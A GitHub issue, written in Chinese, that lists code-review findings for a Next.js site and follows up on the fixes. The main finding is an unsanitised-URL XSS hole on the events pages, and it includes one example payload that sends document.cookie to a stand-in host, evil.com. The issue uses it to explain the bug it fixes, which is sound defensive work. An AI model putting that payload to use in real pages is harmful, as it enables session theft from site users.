Repository navigation
本周代码 CR 发现的问题清单(2026-04-13 ~ 2026-04-17) #302
Description
Context
CR 覆盖本周 4 个大 PR + 若干 fix:
- feat(assistant): AI 接口三层防刷护甲 — 前端约束 + Upstash 限流 + 上游错误兜底 #295 rate-limit 三层防刷
- feat(monitoring): 接入 Sentry 错误监控 #296 Sentry 接入
- feat(events): /events 列表+详情+感兴趣 + /admin/events 管理台 + 个人主页管理员入口 #298 events 列表/详情/管理
- feat(admin): /admin/database 页面嵌入 pgAdmin iframe #301 pgAdmin 入口 + chat 持久化迁移后端
整体代码质量高,注释密度够,踩坑复盘到位。以下是扫出来的改进项,按优先级排。
🔴 P0 · 安全
[P0-1] events 页外链未做 URL scheme 白名单(XSS)
位置:
app/events/[id]/page.tsx:149speaker.profileUrl →<a href>app/events/page.tsx:139event.coverUrl →<img src>app/events/[id]/page.tsx:113,142,188,205同上 coverUrl / avatarUrl / playbackUrl / discordLink
风险:管理员或被篡改的后端数据若塞 javascript:fetch('//evil.com/steal?c='+document.cookie),用户点击后在本站 origin 执行 JS,可盗 satoken 冒充用户。
修复:复用 app/u/[username]/page.tsx:243 的 sanitizeExternalUrl(白名单 http/https/mailto),或抽到 lib/url-safety.ts 共享。unsafe 时渲染为纯文本。
🟡 P1 · 体验/健壮性
[P1-1] InterestButton 静默吞异常
位置:app/events/[id]/InterestButton.tsx:77
} catch {
setInterested(prevInterested);
setCount(prevCount);
}点击失败时数字回滚但没任何错误反馈,用户以为按钮坏了。参考 SettingsForm 的 showToast 模式加 UI 提示。
[P1-2] Sentry 缺 PII 过滤 hook
位置:sentry.client.config.ts / sentry.server.config.ts
目前没配 beforeSend,若 error 上下文带 satoken header / cookie / request body 会原样上报到 Sentry。免费 tier 5K errors/月容易撞配额,合规上也不好。
建议:
beforeSend(event) {
if (event.request?.headers) {
delete event.request.headers.satoken;
delete event.request.headers.cookie;
delete event.request.headers.authorization;
}
return event;
}🟡 P2 · 改进
[P2-1] EventForm 未校验 endTime > startTime
位置:app/admin/events/EventForm.tsx:38
提交前只 toIso,没校验时间逻辑,能填 endTime < startTime。前后端都加校验最稳妥。
[P2-2] Sentry server config 应该用 SENTRY_DSN 而非 NEXT_PUBLIC_SENTRY_DSN
位置:sentry.server.config.ts:10、sentry.edge.config.ts
NEXT_PUBLIC_ 前缀会打进客户端 bundle——client config 必须这样,但 server/edge 用私有 env 更干净。DSN 本身设计上可公开(类似 Stripe publishable key),只是没必要多暴露一份。
[P2-3] AdminGuard 权限判断依赖 seed 脚本
位置:app/admin/events/AdminGuard.tsx:57
const passes = required === "superadmin"
? roles.includes("superadmin")
: roles.includes("admin");注释说 "superadmin 在 seed 里也会带 admin"——这依赖 seed 脚本不改。建议显式:
const passes = roles.includes(required) || roles.includes("superadmin");🟢 P3 · 风格/重构
[P3-1] 全站 <img> 重复 eslint-disable
全站 unoptimized: true 导致所有原生 <img> 都要 // eslint-disable-next-line @next/next/no-img-element。events 页已经出现 6 次。抽成 <SafeImg> 组件(forwardRef,内部 eslint-disable)减少重复。
[P3-2] /events 和 /events/[id] 可以 Suspense 化
两个页面都在 await fetchEvents() 阻塞 HTML flush,和之前修 HotDocsPreview 同款问题。虽然有 revalidate: 300 缓存,但 cache miss 仍阻塞。影响不大可以缓做。
[P3-3] rate-limit.ts Redis 实例重复创建
位置:lib/rate-limit.ts:36-54
三个 getChatLimiter / getChatImageLimiter / getDailyLimiter 各自调 getRedis(),会建 3 个 Redis 客户端。加一个 module-level cachedRedis 复用。影响极小(都是 HTTP)。
✅ 点赞(不用动)
- Rate-limit IP 防伪造 (
lib/rate-limit.ts:109-123):x-real-ip 优先 + XFF 取最后一个 trusted proxy 值,避开 parts[0] 坑 - YouTube host 严格白名单 (
app/events/[id]/page.tsx:260-268):精确匹配 + .youtube.com 子域,没踩 evilyoutube.com 的 endsWith 坑 - pgAdmin iframe 踩坑复盘 (
app/admin/database/page.tsx:1-18):跨域 CSRF + 同源代理 host 重定向两种死法都写在注释里 - Sentry 按 runtime 分 config (
instrumentation.ts):符合 Next.js 15 约定 - syncTokenCookie 的 Secure/Domain/SameSite 组合正确:localhost 不写 Domain,https 才加 Secure
- rate-limit warn 单例化 (
hasWarnedMissingUpstash):不刷日志——Copilot CR 修出来的
📋 验证计划(待 owner 自己找时间做)
| 级别 | 条目 | 预估工作量 |
|---|---|---|
| 🔴 P0 | P0-1 events 外链过滤 | 10 分钟(复用 sanitizeExternalUrl) |
| 🟡 P1 | P1-1 InterestButton 错误提示 | 10 分钟 |
| 🟡 P1 | P1-2 Sentry beforeSend | 5 分钟 |
| 🟡 P2 | P2-1 EventForm 时间校验 | 5 分钟 |
| 🟡 P2 | P2-2 Sentry DSN env 改名 | 2 分钟 |
| 🟡 P2 | P2-3 AdminGuard 逻辑显式化 | 2 分钟 |
| 🟢 P3 | P3-1 SafeImg 组件 | 20 分钟(repetitive) |
| 🟢 P3 | P3-2 events Suspense | 15 分钟 |
| 🟢 P3 | P3-3 Redis 单例 | 5 分钟 |
总工作量:~1.5 小时(不含 P0/P1 的回归测试)。
Activity
fix(security): events 外链 XSS 防护 — 抽通用 sanitize + 全量过白名单
longsizhuo commentedon Apr 17, 2026
🔴 P0-1 已修复 → main commit
2ee1f20变更:
lib/url-safety.ts(sanitizeExternalUrl+sanitizeMediaUrl)/u/[username]/page.tsx本地 duplicate 抽走,改 import 共享/events/[id]/page.tsx全量过白名单:coverUrl / avatarUrl → sanitizeMediaUrl;profileUrl / playbackUrl / discordLink → sanitizeExternalUrl/events/page.tsxEventCard.coverUrl 同上剩下 8 条(P1 × 2 / P2 × 3 / P3 × 3)照旧留给你验证修复。
refactor(sentry): DSN 未配置时不启用 SDK,避免初始化告警 + 清服务器工作树
按照龙神的建议修改了/app/admin/events/AdminGuard.tsx 57行的内容 (#313)
longsizhuo commentedon Apr 19, 2026
P2-3 已由 @karicms 在 #313 修掉并合入 main(2026-04-19)。 🎉
Merge pull request #337 from InvolutionHell/chore/issue-302-p1-p2
chore(quality): issue InvolutionHell#302 剩余 P1 + P2 一锅端